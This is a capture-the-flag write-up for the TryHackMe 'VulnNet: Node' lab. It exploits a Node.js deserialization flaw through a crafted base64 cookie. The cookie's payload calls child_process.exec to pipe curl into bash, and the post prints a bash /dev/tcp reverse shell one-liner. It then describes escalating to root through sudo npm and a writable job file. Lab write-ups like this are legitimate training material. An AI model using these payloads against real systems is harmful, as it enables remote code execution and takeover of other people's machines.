VulnNet: Node

VulnNet: Node - THM

There is a single open port, so you should probably start there. Watch closely, there is something odd with the requests. Why does the app use a cookie for a session that doesn't require any authorization whatsoever? Is it easy to guess the encoding and what the cookie is holding?

Turns out, the cookie is base64 encoded and contains some JSON data. First attempt, I tried to turn from guest to admin, which is absolutely pointless. So I turned to Google, and asked him what could I possibly do with a cookie managed by a JS backend. Google, in its infinite wisdom, led me to the following paper. Use the first part of the explanation to obtain a reverse shell. The way I did it is:

  • Created a file containing code to launch a reverse shell in bash: bash -i >& /dev/tcp/IP/PORT 0>&1
  • Started a listener
  • Created the following cookie:
{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('curl | bash ', function(error, stdout, stderr) { console.log(stdout) });\n }()","isGuest":true,"encoding": "utf-8"}
  • Encoded it in base64
  • Intercepted a request and replaced the real cookie with this crafted one

Once obtained the reverse shell, you can notice pretty quickly there is no flag to grab. That is, the user you must seek to obtain is the only other non-root on the machine. Checking your sudo privileges you can see you can run npm as this user you are trying to obtain --> GTFOBins --> shell as the other user!

Once again, checking sudo privileges you can run some commands as root. The first starts a job, whose file (the name of the file is inside the job you can launch as root) is writable. So instead of letting it run df, let's have it run another reverse shell like the one above, and there you have root access ;)

You'll only receive email when they publish something new.

More from emacab98